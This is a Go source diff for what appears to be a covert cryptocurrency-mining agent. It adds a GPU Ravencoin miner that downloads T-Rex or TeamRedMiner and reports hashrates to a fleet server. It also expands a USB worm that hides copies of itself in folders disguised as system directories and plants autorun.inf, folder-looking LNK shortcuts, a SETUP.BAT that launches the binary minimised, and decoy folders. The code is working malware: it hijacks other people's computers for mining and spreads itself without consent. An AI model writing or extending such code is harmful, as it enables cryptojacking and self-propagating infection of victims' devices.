@@ -0,0 +1,358 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// GPUVendor identifies the discrete GPU brand on the host.
|
||||||
|
type GPUVendor int
|
||||||
|
|
||||||
|
const (
|
||||||
|
GPUVendorNone GPUVendor = iota
|
||||||
|
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
|
||||||
|
GPUVendorAMD // use TeamRedMiner (KawPoW)
|
||||||
|
GPUVendorOther // generic / Intel — not supported for KawPoW
|
||||||
|
)
|
||||||
|
|
||||||
|
// GPUInfo holds detected GPU metadata.
|
||||||
|
type GPUInfo struct {
|
||||||
|
Vendor GPUVendor
|
||||||
|
Model string
|
||||||
|
}
|
||||||
|
|
||||||
|
// GPUMinerStats is polled from the miner's local HTTP API.
|
||||||
|
type GPUMinerStats struct {
|
||||||
|
Hashrate15s float64
|
||||||
|
Hashrate1m float64
|
||||||
|
Hashrate15m float64
|
||||||
|
GPUTempC *int
|
||||||
|
GPUUsagePct *int
|
||||||
|
ActiveAlgo string
|
||||||
|
}
|
||||||
|
|
||||||
|
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
|
||||||
|
type GPUMiner struct {
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
info GPUInfo
|
||||||
|
installDir string
|
||||||
|
|
||||||
|
mu sync.RWMutex
|
||||||
|
stats GPUMinerStats
|
||||||
|
active bool
|
||||||
|
|
||||||
|
stopCh chan struct{}
|
||||||
|
wg sync.WaitGroup
|
||||||
|
}
|
||||||
|
|
||||||
|
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||||
|
// Returns nil if GPU mining should not run.
|
||||||
|
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||||
|
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
info := detectGPU()
|
||||||
|
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
|
||||||
|
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
installDir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[gpu] cannot determine install dir: %v", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
||||||
|
return &GPUMiner{
|
||||||
|
cfg: cfg,
|
||||||
|
info: info,
|
||||||
|
installDir: installDir,
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
||||||
|
func (g *GPUMiner) Start() {
|
||||||
|
g.wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer g.wg.Done()
|
||||||
|
g.run()
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop shuts down the GPU miner and waits for it to exit.
|
||||||
|
func (g *GPUMiner) Stop() {
|
||||||
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
default:
|
||||||
|
close(g.stopCh)
|
||||||
|
}
|
||||||
|
g.wg.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stats returns the latest GPU mining statistics.
|
||||||
|
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
||||||
|
g.mu.RLock()
|
||||||
|
defer g.mu.RUnlock()
|
||||||
|
return g.stats, g.active
|
||||||
|
}
|
||||||
|
|
||||||
|
// GPUModel returns the detected GPU model string.
|
||||||
|
func (g *GPUMiner) GPUModel() string {
|
||||||
|
return g.info.Model
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *GPUMiner) run() {
|
||||||
|
// Ensure the miner binary is present before trying to start.
|
||||||
|
binPath, err := g.ensureMinerBinary()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
retryDelay := 30 * time.Second
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
proc, err := g.startProcess(binPath)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
|
||||||
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
return
|
||||||
|
case <-time.After(retryDelay):
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
g.mu.Lock()
|
||||||
|
g.active = true
|
||||||
|
g.mu.Unlock()
|
||||||
|
|
||||||
|
log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
|
||||||
|
|
||||||
|
// Poll miner API while it runs.
|
||||||
|
pollDone := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
defer close(pollDone)
|
||||||
|
g.pollStats()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Wait for process exit.
|
||||||
|
procState, waitErr := proc.Wait()
|
||||||
|
close(g.stopCh) // signal polling goroutine
|
||||||
|
<-pollDone
|
||||||
|
|
||||||
|
g.mu.Lock()
|
||||||
|
g.active = false
|
||||||
|
g.mu.Unlock()
|
||||||
|
|
||||||
|
if waitErr != nil {
|
||||||
|
log.Printf("[gpu] miner exited: %v", waitErr)
|
||||||
|
} else if procState != nil && !procState.Success() {
|
||||||
|
log.Printf("[gpu] miner exited with non-zero status: %s", procState)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-open the stop channel so we can retry cleanly.
|
||||||
|
g.stopCh = make(chan struct{})
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-time.After(retryDelay):
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *GPUMiner) pollStats() {
|
||||||
|
apiPort := g.apiPort()
|
||||||
|
ticker := time.NewTicker(10 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
samples = append(samples, hr)
|
||||||
|
if len(samples) > 90 {
|
||||||
|
samples = samples[len(samples)-90:]
|
||||||
|
}
|
||||||
|
avg15s := hr
|
||||||
|
avg1m := avg(samples, 6)
|
||||||
|
avg15m := avg(samples, len(samples))
|
||||||
|
|
||||||
|
g.mu.Lock()
|
||||||
|
g.stats = GPUMinerStats{
|
||||||
|
Hashrate15s: avg15s,
|
||||||
|
Hashrate1m: avg1m,
|
||||||
|
Hashrate15m: avg15m,
|
||||||
|
GPUTempC: tempC,
|
||||||
|
GPUUsagePct: usage,
|
||||||
|
ActiveAlgo: "kawpow",
|
||||||
|
}
|
||||||
|
g.mu.Unlock()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func avg(samples []float64, last int) float64 {
|
||||||
|
if len(samples) == 0 || last <= 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
if last > len(samples) {
|
||||||
|
last = len(samples)
|
||||||
|
}
|
||||||
|
slice := samples[len(samples)-last:]
|
||||||
|
var sum float64
|
||||||
|
for _, v := range slice {
|
||||||
|
sum += v
|
||||||
|
}
|
||||||
|
return sum / float64(len(slice))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *GPUMiner) apiPort() int {
|
||||||
|
switch g.info.Vendor {
|
||||||
|
case GPUVendorNVIDIA:
|
||||||
|
return 4067
|
||||||
|
case GPUVendorAMD:
|
||||||
|
return 4068
|
||||||
|
default:
|
||||||
|
return 4067
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Miner binary management ----
|
||||||
|
|
||||||
|
type minerSpec struct {
|
||||||
|
fileName string
|
||||||
|
downloadURL string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *GPUMiner) spec() minerSpec {
|
||||||
|
switch g.info.Vendor {
|
||||||
|
case GPUVendorNVIDIA:
|
||||||
|
return minerSpec{
|
||||||
|
fileName: "t-rex.exe",
|
||||||
|
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
|
||||||
|
}
|
||||||
|
default: // AMD
|
||||||
|
return minerSpec{
|
||||||
|
fileName: "teamredminer.exe",
|
||||||
|
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||||
|
spec := g.spec()
|
||||||
|
binPath := filepath.Join(g.installDir, spec.fileName)
|
||||||
|
if _, err := os.Stat(binPath); err == nil {
|
||||||
|
return binPath, nil
|
||||||
|
}
|
||||||
|
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
||||||
|
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
||||||
|
return "", fmt.Errorf("download failed: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(binPath); err != nil {
|
||||||
|
return "", fmt.Errorf("binary not found after download: %s", binPath)
|
||||||
|
}
|
||||||
|
return binPath, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadAndExtract(url, destDir, targetFile string) error {
|
||||||
|
resp, err := http.Get(url) //nolint:noctx
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
||||||
|
}
|
||||||
|
data, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return extractZipFile(data, destDir, targetFile)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Miner HTTP API polling ----
|
||||||
|
|
||||||
|
// T-Rex summary response (subset we care about).
|
||||||
|
type trexSummary struct {
|
||||||
|
Hashrate int `json:"hashrate"`
|
||||||
|
GPUs []struct {
|
||||||
|
Temperature int `json:"temperature"`
|
||||||
|
GpuLoad int `json:"gpu_load"`
|
||||||
|
} `json:"gpus"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TeamRedMiner status response (subset).
|
||||||
|
type trmStatus struct {
|
||||||
|
Algorithms []struct {
|
||||||
|
Name string `json:"algorithm"`
|
||||||
|
TotalMHs float64 `json:"mhsh_total"`
|
||||||
|
} `json:"algorithms"`
|
||||||
|
GPUs []struct {
|
||||||
|
TempC int `json:"temp_c"`
|
||||||
|
Fan int `json:"fan_pct"`
|
||||||
|
} `json:"gpus"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
|
||||||
|
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
|
||||||
|
resp, e := http.Get(url) //nolint:noctx
|
||||||
|
if e != nil {
|
||||||
|
return 0, nil, nil, e
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, _ := io.ReadAll(resp.Body)
|
||||||
|
|
||||||
|
switch vendor {
|
||||||
|
case GPUVendorNVIDIA:
|
||||||
|
var s trexSummary
|
||||||
|
if e := json.Unmarshal(body, &s); e != nil {
|
||||||
|
return 0, nil, nil, e
|
||||||
|
}
|
||||||
|
hashrate = float64(s.Hashrate)
|
||||||
|
if len(s.GPUs) > 0 {
|
||||||
|
t := s.GPUs[0].Temperature
|
||||||
|
u := s.GPUs[0].GpuLoad
|
||||||
|
tempC = &t
|
||||||
|
usagePct = &u
|
||||||
|
}
|
||||||
|
case GPUVendorAMD:
|
||||||
|
var s trmStatus
|
||||||
|
if e := json.Unmarshal(body, &s); e != nil {
|
||||||
|
return 0, nil, nil, e
|
||||||
|
}
|
||||||
|
for _, a := range s.Algorithms {
|
||||||
|
if a.Name == "kawpow" || a.Name == "KawPoW" {
|
||||||
|
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(s.GPUs) > 0 {
|
||||||
|
t := s.GPUs[0].TempC
|
||||||
|
u := s.GPUs[0].Fan
|
||||||
|
tempC = &t
|
||||||
|
usagePct = &u
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -40,6 +40,7 @@ type AuthPayload struct {
|
|||||||
Platform string `json:"platform"`
|
Platform string `json:"platform"`
|
||||||
Arch string `json:"arch"`
|
Arch string `json:"arch"`
|
||||||
OSVersion string `json:"os_version"`
|
OSVersion string `json:"os_version"`
|
||||||
|
MacAddress string `json:"mac_address,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type AuthResponse struct {
|
type AuthResponse struct {
|
||||||
@@ -94,6 +95,13 @@ type StatsPayload struct {
|
|||||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining stats
|
||||||
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||||
|
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||||
|
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||||
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||||
|
GPUModel string `json:"gpu_model,omitempty"`
|
||||||
|
|
||||||
// SSH + posture
|
// SSH + posture
|
||||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||||
PostureScore *int `json:"posture_score,omitempty"`
|
PostureScore *int `json:"posture_score,omitempty"`
|
||||||
|
|||||||
@@ -47,5 +47,11 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
RemoteAggressive: false,
|
RemoteAggressive: false,
|
||||||
USBSpread: false,
|
USBSpread: false,
|
||||||
ShareSpread: false,
|
ShareSpread: false,
|
||||||
|
GPUEnabled: false,
|
||||||
|
RVNWallet: "",
|
||||||
|
RVNPoolHost: "rvn.2miners.com",
|
||||||
|
RVNPoolPort: 6060,
|
||||||
|
RVNPoolTLS: false,
|
||||||
|
RVNPoolPass: "x",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -66,6 +66,15 @@ type BuiltinConfig struct {
|
|||||||
// FleetSecret is baked in at forge time and presented on WS connect.
|
// FleetSecret is baked in at forge time and presented on WS connect.
|
||||||
// The server rejects any agent that doesn't carry the right secret.
|
// The server rejects any agent that doesn't carry the right secret.
|
||||||
FleetSecret string
|
FleetSecret string
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
|
||||||
|
RVNWallet string // Ravencoin wallet address for GPU mining
|
||||||
|
RVNPoolHost string // primary RVN Stratum pool host
|
||||||
|
RVNPoolPort int // primary RVN Stratum pool port
|
||||||
|
RVNPoolTLS bool // primary RVN pool TLS flag
|
||||||
|
RVNPoolPass string // stratum password (usually "x")
|
||||||
|
RVNBackupPools []BackupPool // failover RVN pools
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||||
@@ -158,6 +167,18 @@ func Load() RuntimeConfig {
|
|||||||
b.DisplayMode = "background"
|
b.DisplayMode = "background"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// GPU mining defaults
|
||||||
|
if b.GPUEnabled {
|
||||||
|
if b.RVNPoolHost == "" {
|
||||||
|
b.RVNPoolHost = "rvn.2miners.com"
|
||||||
|
}
|
||||||
|
if b.RVNPoolPort <= 0 {
|
||||||
|
b.RVNPoolPort = 6060
|
||||||
|
}
|
||||||
|
if b.RVNPoolPass == "" {
|
||||||
|
b.RVNPoolPass = "x"
|
||||||
|
}
|
||||||
|
}
|
||||||
return RuntimeConfig{BuiltinConfig: b}
|
return RuntimeConfig{BuiltinConfig: b}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
|
|||||||
}.InstallDirectory()
|
}.InstallDirectory()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// isPayloadStale returns true when the on-disk USB payload has a different
|
||||||
|
// size than the current running executable — meaning the agent was upgraded
|
||||||
|
// and the USB copy needs to be refreshed.
|
||||||
|
func isPayloadStale(exePath string, payloadSize int64) bool {
|
||||||
|
fi, err := os.Stat(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return fi.Size() != payloadSize
|
||||||
|
}
|
||||||
|
|
||||||
func saveBackup(installedBin string) error {
|
func saveBackup(installedBin string) error {
|
||||||
backup := installedBin + backupSuffix
|
backup := installedBin + backupSuffix
|
||||||
if _, err := os.Stat(backup); err == nil {
|
if _, err := os.Stat(backup); err == nil {
|
||||||
|
|||||||
@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
|||||||
// -----------------------------------------------------------------------
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||||
seen := map[string]bool{}
|
type mountState struct{ payloadSize int64 }
|
||||||
// Seed with already-mounted removable media so we don't spread to
|
state := map[string]mountState{}
|
||||||
// drives that were plugged in before the agent started.
|
|
||||||
for _, mp := range listRemovableMounts() {
|
exePath, err := os.Executable()
|
||||||
seen[mp] = true
|
if err != nil {
|
||||||
|
return
|
||||||
}
|
}
|
||||||
ticker := time.NewTicker(20 * time.Second)
|
|
||||||
defer ticker.Stop()
|
// Spread to drives already present at startup if payload is missing or stale.
|
||||||
for range ticker.C {
|
for _, mp := range listRemovableMounts() {
|
||||||
for _, mp := range listRemovableMounts() {
|
size, found := findUnixPayloadSize(mp)
|
||||||
if seen[mp] {
|
if !found || isPayloadStale(exePath, size) {
|
||||||
continue
|
|
||||||
}
|
|
||||||
seen[mp] = true
|
|
||||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
|
||||||
go spreadToMountUnix(cfg, mp)
|
go spreadToMountUnix(cfg, mp)
|
||||||
|
state[mp] = mountState{}
|
||||||
|
} else {
|
||||||
|
state[mp] = mountState{payloadSize: size}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ticker := time.NewTicker(8 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
exeInfo, err := os.Stat(exePath)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, mp := range listRemovableMounts() {
|
||||||
|
prev, seen := state[mp]
|
||||||
|
if !seen {
|
||||||
|
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||||
|
state[mp] = mountState{}
|
||||||
|
go spreadToMountUnix(cfg, mp)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if prev.payloadSize != exeInfo.Size() {
|
||||||
|
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||||
|
state[mp] = mountState{}
|
||||||
|
go spreadToMountUnix(cfg, mp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
|
||||||
|
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
|
||||||
|
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
|
||||||
|
for _, dir := range dotDirs {
|
||||||
|
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
fi, err := e.Info()
|
||||||
|
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
|
||||||
|
return fi.Size(), true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0, false
|
||||||
}
|
}
|
||||||
|
|
||||||
// listRemovableMounts returns currently-mounted removable media paths.
|
// listRemovableMounts returns currently-mounted removable media paths.
|
||||||
|
|||||||
@@ -91,44 +91,98 @@ func setHiddenSystem(path string) {
|
|||||||
// USB watcher
|
// USB watcher
|
||||||
// -----------------------------------------------------------------------
|
// -----------------------------------------------------------------------
|
||||||
|
|
||||||
|
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
|
||||||
|
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||||
|
|
||||||
|
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
|
||||||
|
// that don't already carry an up-to-date payload.
|
||||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||||
seen := map[string]bool{}
|
// Track drives + the size of the payload we last wrote to each.
|
||||||
// Seed with drives already present at start — don't spread to them immediately.
|
type driveState struct{ payloadSize int64 }
|
||||||
|
state := map[string]driveState{}
|
||||||
|
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check drives already present when the agent starts — spread to any that
|
||||||
|
// are missing or stale (different binary size), don't just skip them.
|
||||||
for _, d := range getLogicalDrives() {
|
for _, d := range getLogicalDrives() {
|
||||||
if getDriveType(d) == driveRemovable {
|
if getDriveType(d) == driveRemovable {
|
||||||
seen[d] = true
|
size, found := findUSBPayloadSize(d)
|
||||||
|
if !found || isPayloadStale(exePath, size) {
|
||||||
|
go spreadToUSB(cfg, d)
|
||||||
|
state[d] = driveState{}
|
||||||
|
} else {
|
||||||
|
state[d] = driveState{payloadSize: size}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ticker := time.NewTicker(20 * time.Second)
|
|
||||||
|
ticker := time.NewTicker(8 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
for range ticker.C {
|
for range ticker.C {
|
||||||
|
exeInfo, err := os.Stat(exePath)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
for _, d := range getLogicalDrives() {
|
for _, d := range getLogicalDrives() {
|
||||||
if getDriveType(d) != driveRemovable {
|
if getDriveType(d) != driveRemovable {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if seen[d] {
|
prev, seen := state[d]
|
||||||
|
if !seen {
|
||||||
|
// Brand-new drive just inserted
|
||||||
|
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||||
|
state[d] = driveState{}
|
||||||
|
go spreadToUSB(cfg, d)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
seen[d] = true
|
// Refresh if the agent binary was updated since we last wrote
|
||||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
if prev.payloadSize != exeInfo.Size() {
|
||||||
go spreadToUSB(cfg, d)
|
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
||||||
|
state[d] = driveState{}
|
||||||
|
go spreadToUSB(cfg, d)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
|
||||||
// using three complementary techniques:
|
// size of the first .exe found, plus a bool indicating success.
|
||||||
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
func findUSBPayloadSize(drive string) (size int64, found bool) {
|
||||||
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
for _, dir := range knownDropDirs {
|
||||||
// 3. Hidden dir — keeps the binary out of plain sight
|
entries, err := os.ReadDir(filepath.Join(drive, dir))
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, e := range entries {
|
||||||
|
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
|
||||||
|
fi, err := e.Info()
|
||||||
|
if err == nil {
|
||||||
|
return fi.Size(), true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
|
||||||
|
// spreadToUSB copies the agent onto a removable drive using four techniques:
|
||||||
|
// 1. Hidden drop dir — binary in a disguised system subfolder
|
||||||
|
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
|
||||||
|
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
|
||||||
|
// 4. SETUP.BAT — plain visible batch file as fallback trigger
|
||||||
|
// 5. Decoy folder — fake "Documents" folder so drive looks natural
|
||||||
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||||
exePath, err := os.Executable()
|
exePath, err := os.Executable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// Randomised drop directory looks like a Windows system folder.
|
|
||||||
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
// Randomised drop directory that looks like a Windows system folder.
|
||||||
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
|
||||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
|||||||
setHiddenSystem(destBin)
|
setHiddenSystem(destBin)
|
||||||
log.Printf("[passive-spread] agent copied to %s", destBin)
|
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||||
|
|
||||||
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
|
||||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
|
||||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
|
||||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
|
||||||
|
relBin, relBin,
|
||||||
)
|
)
|
||||||
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||||
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||||
|
|
||||||
// 2. LNK shortcut that looks like the drive's main folder.
|
// 2. LNK shortcut — folder icon, minimised window
|
||||||
// We pick a name that mirrors whatever real directories are present
|
|
||||||
// so it blends in, or fall back to a generic "Open Documents" label.
|
|
||||||
lnkName := pickLinkName(drive)
|
lnkName := pickLinkName(drive)
|
||||||
createFolderShortcut(drive, lnkName, destBin)
|
createFolderShortcut(drive, lnkName, destBin)
|
||||||
|
|
||||||
|
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
|
||||||
|
// so it works even if the LNK is deleted. The bat runs the exe minimised.
|
||||||
|
batLines := "@echo off\r\n"
|
||||||
|
for _, dir := range knownDropDirs {
|
||||||
|
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
|
||||||
|
dir, dir)
|
||||||
|
}
|
||||||
|
batLines += ":done\r\n"
|
||||||
|
batPath := filepath.Join(drive, "SETUP.BAT")
|
||||||
|
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
||||||
|
|
||||||
|
// 4. Decoy visible folder so the drive looks natural when opened
|
||||||
|
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
|
||||||
|
if err := os.MkdirAll(decoyDir, 0755); err == nil {
|
||||||
|
// Drop a harmless placeholder so it doesn't look empty
|
||||||
|
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
|
||||||
|
[]byte("This folder is empty.\r\n"), 0644)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||||
@@ -185,13 +257,36 @@ func pickLinkName(drive string) string {
|
|||||||
return "Open Documents"
|
return "Open Documents"
|
||||||
}
|
}
|
||||||
for _, e := range entries {
|
for _, e := range entries {
|
||||||
